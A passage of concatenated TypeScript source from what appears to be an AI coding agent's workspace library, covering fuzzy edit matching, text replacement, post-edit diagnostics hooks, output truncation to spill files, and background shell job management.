(key) => readRaw(ops, key),\n write: async (key, content) => {\n await ops.writeFile(key, content);\n },\n remove: (key) => ops.remove(key),\n withLock: async (key, task) => {\n const previous = chain.get(key) ?? Promise.resolve();\n const current = previous.then(task, task);\n\n chain.set(\n key,\n current.catch(() => undefined),\n );\n\n return current;\n },\n display: (key) => key,\n });\n}\n","/**\n * How `edit_file` / `multi_edit` find `oldString` in a file.\n *\n * - `\"exact\"` — the text must appear byte for byte.\n * - `\"tiered\"` (default) — try the exact text first, then fall back, in order,\n * to the same text with line endings normalised, with look-alike Unicode\n * punctuation folded (curly quotes, dashes, non-breaking spaces), and\n * finally line by line ignoring trailing whitespace. The first tier that\n * finds the text wins.\n */\nexport type WorkspaceEditMatching = \"exact\" | \"tiered\";\n\n/** The tier that located an edit's text. */\nexport type WorkspaceEditMatchTier = \"exact\" | \"unicode\" | \"whitespace\";\n\n/** Half-open character range `[start, end)` in the original file content. */\nexport interface EditRange {\n start: number;\n end: number;\n}\n\n/** Where `oldString` was found. */\nexport interface EditLocation {\n /** The tier that matched; `null` when none did. */\n tier: WorkspaceEditMatchTier | null;\n /** Non-overlapping ranges in the original content, ascending. */\n ranges: EditRange[];\n /** True when the match went through the line-ending-normalised view. */\n viaView: boolean;\n}\n\n/** Most lines of file text a miss hint shows. */\nexport const MAX_HINT_LINES = 12;\n/** Most characters of one line a miss hint shows. */\nexport const MAX_HINT_LINE_CHARS = 200;\n\nconst FOLD_MAP: Record<string, string> = {\n \"‘\": \"'\",\n \"’\": \"'\",\n \"‚\": \"'\",\n \"‛\": \"'\",\n \"“\": '\"',\n \"”\": '\"',\n \"„\": '\"',\n \"‟\": '\"',\n \"‐\": \"-\",\n \"‑\": \"-\",\n \"‒\": \"-\",\n \"–\": \"-\",\n \"—\": \"-\",\n \"―\": \"-\",\n \"−\": \"-\",\n \" \": \" \",\n \" \": \" \",\n \" \": \" \",\n \" \": \" \",\n \" \": \" \",\n \" \": \" \",\n \" \": \" \",\n};\n\n/** Fold look-alike characters one for one, so string indexes stay aligned. */\nexport function foldUnicode(value: string): string {\n let out = \"\";\n\n for (const char of value) {\n out += FOLD_MAP[char] ?? char;\n }\n\n return out;\n}\n\n/** Every non-overlapping occurrence of `needle` in `haystack`. */\nfunction findAll(haystack: string, needle: string): EditRange[] {\n const ranges: EditRange[] = [];\n\n if (needle === \"\") {\n return ranges;\n }\n\n let from = 0;\n\n for (;;) {\n const index = haystack.indexOf(needle, from);\n\n if (index === -1) {\n return ranges;\n }\n\n ranges.push({ start: index, end: index + needle.length });\n from = index + needle.length;\n }\n}\n\n/** The file's dominant line ending. */\nexport function detectEol(content: string): \"\\n\" | \"\\r\\n\" {\n const crlf = content.split(\"\\r\\n\").length - 1;\n const lf = content.split(\"\\n\").length - 1 - crlf;\n\n return crlf > lf ? \"\\r\\n\" : \"\\n\";\n}\n\n/** Convert any line endings in `text` to `eol`. */\nexport function withEol(text: string, eol: \"\\n\" | \"\\r\\n\"): string {\n const normalised = text.replace(/\\r\\n/g, \"\\n\");\n\n return eol === \"\\n\" ? normalised : normalised.replace(/\\n/g, \"\\r\\n\");\n}\n\n/** An LF view of `content` plus the original index of each view character. */\nfunction lfView(content: string): { view: string; map: number[] | null } {\n if (!content.includes(\"\\r\\n\")) {\n return { view: content, map: null };\n }\n\n let view = \"\";\n const map: number[] = [];\n\n for (let index = 0; index < content.length; index++) {\n if (content[index] === \"\\r\" && content[index + 1] === \"\\n\") {\n continue;\n }\n\n // A `\\n` that came from `\\r\\n` points at the `\\r`, so a range starting\n // on it takes the whole line break.\n map.push(content[index] === \"\\n\" && content[index - 1] === \"\\r\" ? index - 1 : index);\n view += content[index];\n }\n\n map.push(content.length);\n\n return { view, map };\n}\n\n/** Line-based search ignoring trailing whitespace, on already folded text. */\nfunction findByLines(view: string, needle: string): EditRange[] {\n const needleLines = needle.split(\"\\n\");\n const endsWithBreak = needleLines.length > 1 && needleLines[needleLines.length - 1] === \"\";\n\n if (endsWithBreak) {\n needleLines.pop();\n }\n\n const wanted = needleLines.map((line) => line.trimEnd());\n\n if (wanted.every((line) => line === \"\")) {\n return [];\n }\n\n const lines = view.split(\"\\n\");\n const starts: number[] = [];\n let offset = 0;\n\n for (const line of lines) {\n starts.push(offset);\n offset += line.length + 1;\n }\n\n const ranges: EditRange[] = [];\n\n for (let index = 0; index + wanted.length <= lines.length;) {\n let same = true;\n\n for (let k = 0; k < wanted.length; k++) {\n if ((lines[index + k] ?? \"\").trimEnd() !== wanted[k]) {\n same = false;\n\n break;\n }\n }\n\n if (!same) {\n index++;\n\n continue;\n }\n\n const last = index + wanted.length - 1;\n let end = (starts[last] ?? 0) + (lines[last] ?? \"\").length;\n\n if (endsWithBreak && view[end] === \"\\n\") {\n end++;\n }\n\n ranges.push({ start: starts[index] ?? 0, end });\n index += wanted.length;\n }\n\n return ranges;\n}\n\n/**\n * Find `oldString` in `content`. `\"exact\"` only looks for the text as given;\n * `\"tiered\"` walks the tiers described on {@link WorkspaceEditMatching} and\n * stops at the first one with a match. The ranges are always in the original\n * content, whatever view found them.\n */\nexport function locateEdit(\n content: string,\n oldString: string,\n matching: WorkspaceEditMatching,\n): EditLocation {\n const exact = findAll(content, oldString);\n\n if (exact.length > 0 || matching === \"exact\") {\n return { tier: exact.length > 0 ? \"exact\" : null, ranges: exact, viaView: false };\n }\n\n const { view, map } = lfView(content);\n const needle = oldString.replace(/\\r\\n/g, \"\\n\");\n const back = (ranges: EditRange[]): EditRange[] =>\n map === null\n ? ranges\n : ranges.map((range) => ({\n start: map[range.start] ?? content.length,\n end: map[range.end] ?? content.length,\n }));\n\n if (map !== null || needle !== oldString) {\n const plain = findAll(view, needle);\n\n if (plain.length > 0) {\n return { tier: \"exact\", ranges: back(plain), viaView: true };\n }\n }\n\n const foldedView = foldUnicode(view);\n const foldedNeedle = foldUnicode(needle);\n const folded = findAll(foldedView, foldedNeedle);\n\n if (folded.length > 0) {\n return { tier: \"unicode\", ranges: back(folded), viaView: true };\n }\n\n const lined = findByLines(foldedView, foldedNeedle);\n\n if (lined.length > 0) {\n return { tier: \"whitespace\", ranges: back(lined), viaView: true };\n }\n\n return { tier: null, ranges: [], viaView: false };\n}\n\nfunction clipLine(line: string): string {\n const flat = line.replace(/\\r$/, \"\");\n\n return flat.length > MAX_HINT_LINE_CHARS ? `${flat.slice(0, MAX_HINT_LINE_CHARS)}…` : flat;\n}\n\nfunction tokens(line: string): Set<string> {\n return new Set(line.match(/[A-Za-z0-9_$]+/g) ?? []);\n}\n\nfunction similarity(left: Set<string>, right: Set<string>): number {\n if (left.size === 0 || right.size === 0) {\n return 0;\n }\n\n let shared = 0;\n\n for (const token of left) {\n if (right.has(token)) {\n shared++;\n }\n }\n\n return shared / (left.size + right.size - shared);\n}\n\n/**\n * Explain a miss: either `newString` is already in the file (the edit was\n * probably applied), or the file text closest to `oldString`, at most\n * {@link MAX_HINT_LINES} lines of {@link MAX_HINT_LINE_CHARS} characters.\n * `undefined` when nothing is close.\n */\nexport function describeMiss(\n content: string,\n oldString: string,\n newString: string,\n maxLines: number = MAX_HINT_LINES,\n): string | undefined {\n if (maxLines <= 0) {\n return undefined;\n }\n\n const lines = content.split(\"\\n\");\n const present = newString.trim() === \"\" ? -1 : content.indexOf(newString);\n\n if (present !== -1 && newString !== oldString) {\n const line = content.slice(0, present).split(\"\\n\").length;\n\n return `newString already present in the file (line ${line}); the edit may already have been applied.`;\n }\n\n const fileTokens = lines.map((line) => tokens(line));\n const wanted = oldString.split(\"\\n\");\n let best = { score: 0, fileLine: -1, offset: 0 };\n\n wanted.forEach((text, offset) => {\n const own = tokens(text);\n\n fileTokens.forEach((candidate, fileLine) => {\n const score = similarity(own, candidate);\n\n if (score > best.score) {\n best = { score, fileLine, offset };\n }\n });\n });\n\n if (best.fileLine === -1 || best.score < 0.5) {\n return undefined;\n }\n\n const first = Math.max(0, best.fileLine - best.offset);\n const count = Math.min(maxLines, MAX_HINT_LINES, Math.max(1, wanted.length));\n const shown = lines\n .slice(first, first + count)\n .map((line, index) => `${first + index + 1}: ${clipLine(line)}`);\n\n return `Closest text in the file (lines ${first + 1}-${first + shown.length}):\\n${shown.join(\"\\n\")}`;\n}\n","import { WorkspaceEditError } from \"../errors\";\nimport type { MultiEditOperation, WorkspaceEditLineEndings } from \"../contracts\";\nimport {\n describeMiss,\n detectEol,\n locateEdit,\n withEol,\n type WorkspaceEditMatching,\n type WorkspaceEditMatchTier,\n} from \"./match\";\n\n/** What one applied replacement did. */\nexport interface AppliedReplacement {\n content: string;\n replacements: number;\n /** The tier that matched, set only when it was a fuzzy one. */\n matchTier?: Exclude<WorkspaceEditMatchTier, \"exact\">;\n}\n\n/** The edit-policy settings {@link applyReplacement} honours. */\nexport interface AppliedReplacementOptions {\n matching: WorkspaceEditMatching;\n /** Most lines a miss hint shows; `0` for none. */\n missHintLines: number;\n /** Cap on a miss hint's size in bytes (the read policy's `maxBytes`). */\n hintMaxBytes?: number;\n lineEndings: WorkspaceEditLineEndings;\n}\n\n/**\n * Apply one replacement to `content` under the edit rules: `oldString` must\n * be found (see {@link WorkspaceEditMatching}), and exactly once unless\n * `replaceAll` — a fuzzy match must always be unique, so a loose match never\n * rewrites several places at once.\n */\nexport function applyReplacement(\n content: string,\n edit: MultiEditOperation,\n inputPath: string,\n shownPath: string,\n options: AppliedReplacementOptions,\n editIndex?: number,\n): AppliedReplacement {\n const { matching } = options;\n const located = edit.oldString === \"\" ? null : locateEdit(content, edit.oldString, matching);\n const count = located?.ranges.length ?? 0;\n const which = editIndex === undefined ? \"\" : `Edit ${editIndex + 1}: `;\n const nothingApplied = editIndex === undefined ? \"\" : \" None of the edits were applied.\";\n const indexOption = editIndex === undefined ? {} : { editIndex };\n\n if (located === null || count === 0) {\n let hint = describeMiss(content, edit.oldString, edit.newString, options.missHintLines);\n\n if (hint !== undefined && options.hintMaxBytes !== undefined) {\n hint = Buffer.byteLength(hint, \"utf8\") > options.hintMaxBytes ? undefined : hint;\n }\n\n throw new WorkspaceEditError(\n `${which}The text to replace was not found in \"${inputPath}\".` +\n (hint === undefined ? \"\" : ` ${hint}`) +\n nothingApplied,\n {\n type: \"not-found\",\n path: shownPath,\n matches: 0,\n ...(hint !== undefined ? { hint } : {}),\n ...indexOption,\n },\n );\n }\n\n const fuzzy = located.tier !== \"exact\";\n\n if (count > 1 && (!edit.replaceAll || fuzzy)) {\n const advice = fuzzy\n ? \"include more surrounding context.\"\n : \"pass replaceAll or include more surrounding context.\";\n\n throw new WorkspaceEditError(\n `${which}The text to replace is not unique in \"${inputPath}\" (${count} matches${\n fuzzy && located.viaView ? \", found by loose matching\" : \"\"\n }); ${advice}${nothingApplied}`,\n { type: \"not-unique\", path: shownPath, matches: count, ...indexOption },\n );\n }\n\n const eol =\n options.lineEndings === \"lf\"\n ? \"\\n\"\n : options.lineEndings === \"crlf\"\n ? \"\\r\\n\"\n : matching === \"tiered\"\n ? detectEol(content)\n : undefined;\n const replacement = eol === undefined ? edit.newString : withEol(edit.newString, eol);\n const ranges = edit.replaceAll ? located.ranges : located.ranges.slice(0, 1);\n let out = \"\";\n let cursor = 0;\n\n for (const range of ranges) {\n out += content.slice(cursor, range.start) + replacement;\n cursor = range.end;\n }\n\n out += content.slice(cursor);\n\n return {\n content: out,\n replacements: ranges.length,\n ...(fuzzy ? { matchTier: located.tier as \"unicode\" | \"whitespace\" } : {}),\n };\n}\n","import type { WorkspaceAfterEditEvent, WorkspacePolicy } from \"../contracts\";\n\n/** How long a hook may take when the policy sets no `afterEditTimeoutMs`. */\nconst DEFAULT_HOOK_TIMEOUT_MS = 10_000;\n/** Longest diagnostics text kept when the policy sets no `afterEditMaxChars`. */\nconst DEFAULT_MAX_CHARS = 4_000;\n\nfunction wrap(text: string): string {\n return `[diagnostics]\\n${text}\\n[/diagnostics]`;\n}\n\n/**\n * Run the policy's `afterEdit` hook for one call and return the text to put\n * on the result's `diagnostics`, or `undefined` when there is none. A throw\n * or a timeout yields \"diagnostics unavailable\"; it never rejects.\n */\nexport async function runAfterEdit(\n policy: WorkspacePolicy,\n event: WorkspaceAfterEditEvent,\n): Promise<string | undefined> {\n const hook = policy.hooks?.afterEdit;\n\n if (hook === undefined || event.paths.length === 0) {\n return undefined;\n }\n\n const timeoutMs = policy.hooks?.afterEditTimeoutMs ?? DEFAULT_HOOK_TIMEOUT_MS;\n const maxChars = policy.hooks?.afterEditMaxChars ?? DEFAULT_MAX_CHARS;\n let timer: ReturnType<typeof setTimeout> | undefined;\n\n try {\n const answer = await Promise.race([\n Promise.resolve().then(() => hook(event)),\n new Promise<never>((_resolve, reject) => {\n timer = setTimeout(() => reject(new Error(\"afterEdit hook timed out\")), timeoutMs);\n }),\n ]);\n\n if (typeof answer !== \"string\" || answer.trim() === \"\") {\n return undefined;\n }\n\n const text = answer.trim();\n\n return wrap(\n text.length > maxChars\n ? `${text.slice(0, maxChars)}\\n[diagnostics truncated: showing ${maxChars} of ${text.length} characters]`\n : text,\n );\n } catch {\n return wrap(\"diagnostics unavailable\");\n } finally {\n clearTimeout(timer);\n }\n}\n","import path from \"node:path\";\nimport type {\n WorkspaceBackend,\n WorkspaceOutputKeep,\n WorkspacePolicy,\n WorkspaceTruncation,\n} from \"../contracts\";\nimport { resolveSpillDir } from \"./spill-dir\";\n\nconst DEFAULT_MAX_LINES = 2000;\nconst DEFAULT_MAX_BYTES = 50 * 1024;\nconst DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1000;\nconst SPILL_NAME = /^spill-(\\d+)-[a-z0-9]+-[a-z0-9_-]+\\.txt$/;\n\n/** What spilling an output produced. */\nexport interface SpilledText {\n /** The text to return (marker included). */\n value: string;\n /** Set when anything was left out. */\n truncation?: WorkspaceTruncation;\n}\n\n/** What spilling a list of entries produced. */\nexport interface SpilledList<T> {\n items: T[];\n truncation?: WorkspaceTruncation;\n}\n\nfunction byteLength(value: string): number {\n return Buffer.byteLength(value, \"utf8\");\n}\n\n/** The first `maxBytes` bytes of `value`, cut on a character boundary. */\nfunction headOf(value: string, maxBytes: number): string {\n const bytes = Buffer.from(value, \"utf8\");\n\n if (bytes.byteLength <= maxBytes) {\n return value;\n }\n\n let cut = Math.max(0, maxBytes);\n\n while (cut > 0 && ((bytes[cut] ?? 0) & 0xc0) === 0x80) {\n cut--;\n }\n\n return bytes.subarray(0, cut).toString(\"utf8\");\n}\n\n/** The last `maxBytes` bytes of `value`, cut on a character boundary. */\nfunction tailOf(value: string, maxBytes: number): string {\n const bytes = Buffer.from(value, \"utf8\");\n\n if (bytes.byteLength <= maxBytes) {\n return value;\n }\n\n let from = bytes.byteLength - Math.max(0, maxBytes);\n\n while (from < bytes.byteLength && ((bytes[from] ?? 0) & 0xc0) === 0x80) {\n from++;\n }\n\n return bytes.subarray(from).toString(\"utf8\");\n}\n\n/** Lines of `value`; a trailing line break does not add an empty line. */\nexport function splitLines(value: string): string[] {\n if (value === \"\") {\n return [];\n }\n\n const lines = value.split(\"\\n\");\n\n if (lines[lines.length - 1] === \"\") {\n lines.pop();\n }\n\n return lines;\n}\n\n/** Pick lines from the front within `lines` / `bytes`; one oversized line is clipped. */\nfunction takeHead(lines: string[], maxLines: number, maxBytes: number): string[] {\n const out: string[] = [];\n let used = 0;\n\n for (const line of lines) {\n if (out.length >= maxLines) {\n break;\n }\n\n const cost = byteLength(line) + 1;\n\n if (used + cost > maxBytes) {\n if (out.length === 0 && maxBytes > 0) {\n out.push(headOf(line, maxBytes));\n }\n\n break;\n }\n\n out.push(line);\n used += cost;\n }\n\n return out;\n}\n\n/** Pick lines from the back, same limits; the result is in file order. */\nfunction takeTail(lines: string[], maxLines: number, maxBytes: number): string[] {\n const out: string[] = [];\n let used = 0;\n\n for (let index = lines.length - 1; index >= 0; index--) {\n const line = lines[index] ?? \"\";\n\n if (out.length >= maxLines) {\n break;\n }\n\n const cost = byteLength(line) + 1;\n\n if (used + cost > maxBytes) {\n if (out.length === 0 && maxBytes > 0) {\n out.push(tailOf(line, maxBytes));\n }\n\n break;\n }\n\n out.unshift(line);\n used += cost;\n }\n\n return out;\n}\n\n/** Choose the lines to keep for `keep`; `headCount` lines come from the front. */\nfunction select(\n lines: string[],\n keep: WorkspaceOutputKeep,\n maxLines: number,\n maxBytes: number,\n): { head: string[]; tail: string[] } {\n if (keep === \"head\") {\n return { head: takeHead(lines, maxLines, maxBytes), tail: [] };\n }\n\n if (keep === \"tail\") {\n return { head: [], tail: takeTail(lines, maxLines, maxBytes) };\n }\n\n const headLines = Math.ceil(maxLines / 2);\n const headBytes = Math.ceil(maxBytes / 2);\n const head = takeHead(lines, headLines, headBytes);\n const rest = lines.slice(head.length);\n const tail = takeTail(rest, maxLines - head.length, maxBytes - headBytes);\n\n return { head, tail };\n}\n\n/**\n * Keeps oversized command, search and read output from flooding the model:\n * with `output.spillDir` set it saves the full output to a file and returns\n * the part the policy keeps plus a pointer to it. One instance per ops layer;\n * it remembers the files it wrote so `dispose()` can remove them.\n */\nexport class OutputSpiller {\n private readonly created: string[] = [];\n private readonly dir: string | undefined;\n\n public constructor(\n private readonly backend: WorkspaceBackend,\n private readonly policy: WorkspacePolicy,\n ) {\n this.dir = resolveSpillDir(policy);\n\n if (this.dir !== undefined && this.retentionMs > 0) {\n void this.sweep();\n }\n }\n\n /** True when `output.spillDir` is set. */\n public get enabled(): boolean {\n return this.dir !== undefined;\n }\n\n /** The spill directory, when spilling is on. */\n public get spillDir(): string | undefined {\n return this.dir;\n }\n\n private get retentionMs(): number {\n return this.policy.output?.retentionMs ?? DEFAULT_RETENTION_MS;\n }\n\n private limits(cap: number | undefined): { maxLines: number; maxBytes: number } {\n const configured = this.policy.output?.maxBytes ?? DEFAULT_MAX_BYTES;\n\n return {\n maxLines: Math.max(1, Math.floor(this.policy.output?.maxLines ?? DEFAULT_MAX_LINES)),\n maxBytes: Math.max(1, Math.floor(cap === undefined ? configured : Math.min(configured, cap))),\n };\n }\n\n /** Remove spill files older than the retention (only files named like ours). */\n public async sweep(): Promise<void> {\n if (this.dir === undefined) {\n return;\n }\n\n try {\n const now = Date.now();\n\n for (const file of await this.backend.list(this.dir)) {\n const match = SPILL_NAME.exec(path.basename(file));\n\n if (match !== null && now - Number(match[1]) > this.retentionMs) {\n await this.backend.remove(file).catch(() => undefined);\n }\n }\n } catch {\n // No spill directory yet, or it is not listable: nothing to clean.\n }\n }\n\n /** Write `content` to a new spill file and return its absolute path. */\n private async write(label: string, content: string): Promise<string | undefined> {\n if (this.dir === undefined) {\n return undefined;\n }\n\n try {\n if (this.retentionMs > 0) {\n await this.sweep();\n }\n\n const safe = label.toLowerCase().replace(/[^a-z0-9_-]+/g, \"-\") || \"output\";\n const rand = Math.random().toString(36).slice(2, 8) || \"x\";\n const file = path.join(this.dir, `spill-${Date.now()}-${rand}-${safe}.txt`);\n\n await this.backend.mkdir(this.dir);\n await this.backend.writeFile(file, content);\n this.created.push(file);\n\n return file;\n } catch {\n return undefined;\n }\n }\n\n /**\n * Fit `value` to the policy. Returns it untouched when it fits. Over the\n * limits with spilling on, the whole text is saved and the kept lines come\n * back with a `[showing lines … of …; full output saved to …]` marker.\n * `cap` is a tighter byte limit from elsewhere (`shell.maxOutputBytes`).\n */\n public async text(\n label: string,\n value: string,\n defaultKeep: WorkspaceOutputKeep,\n cap?: number,\n ): Promise<SpilledText> {\n if (this.dir === undefined) {\n return { value };\n }\n\n const { maxLines, maxBytes } = this.limits(cap);\n const lines = splitLines(value);\n const totalBytes = byteLength(value);\n\n if (lines.length <= maxLines && totalBytes <= maxBytes) {\n return { value };\n }\n\n const keep = this.policy.output?.keep ?? defaultKeep;\n const { head, tail } = select(lines, keep, maxLines, maxBytes);\n const file = await this.write(label, value);\n const shown = head.length + tail.length;\n const total = lines.length;\n const where = file === undefined ? \"the rest was dropped\" : `full output saved to ${file}`;\n const range =\n tail.length === 0\n ? `lines 1-${head.length}`\n : head.length === 0\n ? `lines ${total - tail.length + 1}-${total}`\n : `lines 1-${head.length} and ${total - tail.length + 1}-${total}`;\n const marker = `[showing ${range} of ${total}; ${where}]`;\n const parts = [...(head.length > 0 ? [head.join(\"\\n\")] : []), marker];\n\n if (tail.length > 0) {\n parts.push(tail.join(\"\\n\"));\n }\n\n return {\n value: parts.join(\"\\n\"),\n truncation: {\n shown: { lines: shown },\n total: { lines: total, bytes: totalBytes },\n ...(file !== undefined ? { path: file } : {}),\n },\n };\n }\n\n /**\n * Fit a list of entries (one line each when rendered) to the policy; the\n * rendered full list is what gets saved.\n */\n public async list<T>(\n label: string,\n items: T[],\n render: (item: T) => string,\n defaultKeep: WorkspaceOutputKeep,\n ): Promise<SpilledList<T>> {\n if (this.dir === undefined) {\n return { items };\n }\n\n const { maxLines, maxBytes } = this.limits(undefined);\n const lines = items.map(render);\n const totalBytes = lines.reduce((sum, line) => sum + byteLength(line) + 1, 0);\n\n if (items.length <= maxLines && totalBytes <= maxBytes) {\n return { items };\n }\n\n const keep = this.policy.output?.keep ?? defaultKeep;\n // Count how many whole entries fit from each end, then slice the items.\n const { head, tail } = select(lines, keep, maxLines, maxBytes);\n const headCount = head.length;\n const tailCount = tail.length;\n const file = await this.write(label, lines.join(\"\\n\") + \"\\n\");\n\n return {\n items: [...items.slice(0, headCount), ...items.slice(items.length - tailCount)],\n truncation: {\n shown: { lines: headCount + tailCount },\n total: { lines: items.length, bytes: totalBytes },\n ...(file !== undefined ? { path: file } : {}),\n },\n };\n }\n\n /** Save the complete text of an output that was already cut elsewhere. */\n public async save(label: string, content: string): Promise<string | undefined> {\n return this.write(label, content);\n }\n\n /** Remove expired files, and this run's own when `retentionMs` is `0`. */\n public async dispose(): Promise<void> {\n if (this.dir === undefined) {\n return;\n }\n\n if (this.retentionMs === 0) {\n for (const file of this.created.splice(0)) {\n await this.backend.remove(file).catch(() => undefined);\n }\n\n return;\n }\n\n await this.sweep();\n }\n}\n","import { WorkspaceJobError, WorkspacePolicyError } from \"./errors\";\nimport type {\n ShellJobInfo,\n ShellJobStatus,\n ShellOutputOptions,\n ShellOutputResult,\n WorkspaceBackendProcess,\n WorkspaceOutputStream,\n} from \"./contracts\";\n\n/** Default most background commands running at once. */\nexport const DEFAULT_MAX_BACKGROUND_JOBS = 4;\n\n/** Finished commands kept for a last `shell_output` read before the oldest are pruned. */\nconst MAX_FINISHED_JOBS = 16;\n\n/** Longest `waitMs` a `shellOutput` call may ask for. */\nexport const MAX_OUTPUT_WAIT_MS = 30_000;\n\n/** How long `kill()` / `dispose()` wait for a killed tree to report its exit. */\nconst KILL_SETTLE_MS = 5_000;\n\n/** One retained piece of output. */\ninterface OutputChunk {\n stream: WorkspaceOutputStream;\n text: string;\n /** Cumulative byte offset of the chunk's first byte. */\n offset: number;\n bytes: number;\n}\n\n/** What {@link ShellJobs.start} needs to launch one command. */\nexport interface ShellJobSpec {\n /** The command line (already policy-checked). */\n command: string;\n /** Most bytes of output to keep (newest wins). */\n retainBytes: number;\n /** Most commands running at once. */\n maxJobs: number;\n /** Wall-clock cap, if any. */\n timeoutMs?: number;\n /** Start the process; output must be delivered through `onOutput`. */\n launch(onOutput: (stream: WorkspaceOutputStream, chunk: string) => void): WorkspaceBackendProcess;\n}\n\n/** Resolve after `ms`, without keeping the event loop alive. */\nfunction delay(ms: number): Promise<void> {\n return new Promise((resolve) => {\n const timer = setTimeout(resolve, ms);\n\n timer.unref?.();\n });\n}\n\n/**\n * Keep the last `maxBytes` UTF-8 bytes of `text`, cutting forward to a\n * character boundary so the kept tail never starts mid-character.\n */\nfunction tailUtf8(text: string, maxBytes: number): { text: string; bytes: number } {\n const buffer = Buffer.from(text, \"utf8\");\n\n if (buffer.byteLength <= maxBytes) {\n return { text, bytes: buffer.byteLength };\n }\n\n let start = buffer.byteLength - maxBytes;\n\n while (start < buffer.byteLength && ((buffer[start] ?? 0) & 0xc0) === 0x80) {\n start++;\n }\n\n const kept = buffer.subarray(start);\n\n return { text: kept.toString(\"utf8\"), bytes: kept.byteLength };\n}\n\n/** Bytes of `text` from byte `skip` on, moved forward to a character boundary. */\nfunction skipUtf8(text: string, skip: number): string {\n const buffer = Buffer.from(text, \"utf8\");\n let start = Math.max(0, skip);\n\n while (start < buffer.byteLength && ((buffer[start] ?? 0) & 0xc0) === 0x80) {\n start++;\n }\n\n return buffer.subarray(start).toString(\"utf8\");\n}\n\n/** One background command and its retained output. */\nclass ShellJob {\n public status: ShellJobStatus = \"running\";\n\n public exitCode: number | null = null;\n\n public endedAt?: string;\n\n public readonly startedAt = new Date().toISOString();\n\n /** Total bytes produced so far (both streams). */\n public produced = 0;\n\n /** Where the next default read starts. */\n public readCursor = 0;\n\n /** Retained output, oldest first. */\n private readonly chunks: OutputChunk[] = [];\n\n private retained = 0;\n\n private readonly listeners = new Set<() => void>();\n\n public process?: WorkspaceBackendProcess;\n\n public killRequested = false;\n\n public timedOut = false;\n\n public timer?: ReturnType<typeof setTimeout>;\n\n public constructor(\n public readonly id: string,\n public readonly command: string,\n private readonly retainBytes: number,\n ) {}\n\n public append(stream: WorkspaceOutputStream, chunk: string): void {\n if (chunk === \"\") {\n return;\n }\n\n const bytes = Buffer.byteLength(chunk, \"utf8\");\n\n this.chunks.push({ stream, text: chunk, offset: this.produced, bytes });\n this.produced += bytes;\n this.retained += bytes;\n this.trim();\n this.notify();\n }\n\n /** Drop the oldest output until at most `retainBytes` are kept. */\n private trim(): void {\n while (this.retained > this.retainBytes && this.chunks.length > 0) {\n const oldest = this.chunks[0];\n\n if (oldest === undefined) {\n return;\n }\n\n const excess = this.retained - this.retainBytes;\n\n if (oldest.bytes <= excess) {\n this.chunks.shift();\n this.retained -= oldest.bytes;\n\n continue;\n }\n\n const kept = tailUtf8(oldest.text, oldest.bytes - excess);\n\n this.retained -= oldest.bytes - kept.bytes;\n oldest.offset += oldest.bytes - kept.bytes;\n oldest.text = kept.text;\n oldest.bytes = kept.bytes;\n }\n }\n\n public finish(exitCode: number): void {\n if (this.status !== \"running\") {\n return;\n }\n\n this.exitCode = exitCode;\n this.status = this.timedOut ? \"timed-out\" : this.killRequested ? \"killed\" : \"exited\";\n this.endedAt = new Date().toISOString();\n\n if (this.timer !== undefined) {\n clearTimeout(this.timer);\n }\n\n this.notify();\n }\n\n private notify(): void {\n for (const listener of [...this.listeners]) {\n listener();\n }\n }\n\n /** Resolve on the next output or state change (or after `ms`, or on abort). */\n public waitForChange(ms: number, signal?: AbortSignal): Promise<void> {\n return new Promise((resolve) => {\n if (signal?.aborted) {\n resolve();\n\n return;\n }\n\n let timer: ReturnType<typeof setTimeout> | undefined;\n\n const done = (): void => {\n if (timer !== undefined) {\n clearTimeout(timer);\n }\n\n this.listeners.delete(done);\n signal?.removeEventListener(\"abort\", done);\n resolve();\n };\n\n timer = setTimeout(done, ms);\n timer.unref?.();\n this.listeners.add(done);\n signal?.addEventListener(\"abort\", done, { once: true });\n });\n }\n\n public info(): ShellJobInfo {\n return {\n id: this.id,\n command: this.command,\n status: this.status,\n exitCode: this.exitCode,\n ...(this.process?.pid !== undefined ? { pid: this.process.pid } : {}),\n startedAt: this.startedAt,\n ...(this.endedAt !== undefined ? { endedAt: this.endedAt } : {}),\n };\n }\n\n /** Output produced after byte `since`, plus how much of it is gone. */\n public read(since: number): ShellOutputResult {\n const from = Math.min(Math.max(0, Math.floor(since)), this.produced);\n const firstRetained = this.chunks[0]?.offset ?? this.produced;\n const droppedBytes = Math.max(0, firstRetained - from);\n let stdout = \"\";\n let stderr = \"\";\n\n for (const chunk of this.chunks) {\n const end = chunk.offset + chunk.bytes;\n\n if (end <= from) {\n continue;\n }\n\n const text = chunk.offset >= from ? chunk.text : skipUtf8(chunk.text, from - chunk.offset);\n\n if (chunk.stream === \"stdout\") {\n stdout += text;\n } else {\n stderr += text;\n }\n }\n\n this.readCursor = this.produced;\n\n return {\n ...this.info(),\n stdout,\n stderr,\n cursor: this.produced,\n droppedBytes,\n truncated: droppedBytes > 0,\n };\n }\n}\n\n/**\n * The background commands one workspace owns. Shared by every projection\n * (`readonly()`, `scope()`) of the workspace, so `dispose()` on any of them\n * stops them all.\n */\nexport class ShellJobs {\n private readonly jobs = new Map<string, ShellJob>();\n\n private nextId = 1;\n\n private disposed = false;\n\n /** Whether {@link dispose} has run. */\n public get isDisposed(): boolean {\n return this.disposed;\n }\n\n /** Start a command as a background job. */\n public start(spec: ShellJobSpec): ShellJobInfo {\n if (this.disposed) {\n throw new WorkspacePolicyError(\n \"The workspace has been disposed; it cannot start new commands.\",\n { type: \"denied-command\", reason: \"not-allowed\", command: spec.command },\n );\n }\n\n const running = [...this.jobs.values()].filter((job) => job.status === \"running\").length;\n\n if (running >= spec.maxJobs) {\n throw new WorkspacePolicyError(\n `${running} background commands are already running (the limit is ${spec.maxJobs}). Stop one with shell_kill first.`,\n { type: \"denied-command\", reason: \"not-allowed\", command: spec.command },\n );\n }\n\n const job = new ShellJob(`job-${this.nextId++}`, spec.command, spec.retainBytes);\n\n this.jobs.set(job.id, job);\n\n const handle = spec.launch((stream, chunk) => job.append(stream, chunk));\n\n job.process = handle;\n\n if (spec.timeoutMs !== undefined && spec.timeoutMs > 0) {\n job.timer = setTimeout(() => {\n if (job.status === \"running\") {\n job.timedOut = true;\n handle.kill();\n }\n }, spec.timeoutMs);\n job.timer.unref?.();\n }\n\n void handle.done.then(({ exitCode }) => job.finish(exitCode));\n this.prune();\n\n return job.info();\n }\n\n /** Forget the oldest finished jobs beyond {@link MAX_FINISHED_JOBS}. */\n private prune(): void {\n const finished = [...this.jobs.values()].filter((job) => job.status !== \"running\");\n\n for (const job of finished.slice(0, Math.max(0, finished.length - MAX_FINISHED_JOBS))) {\n 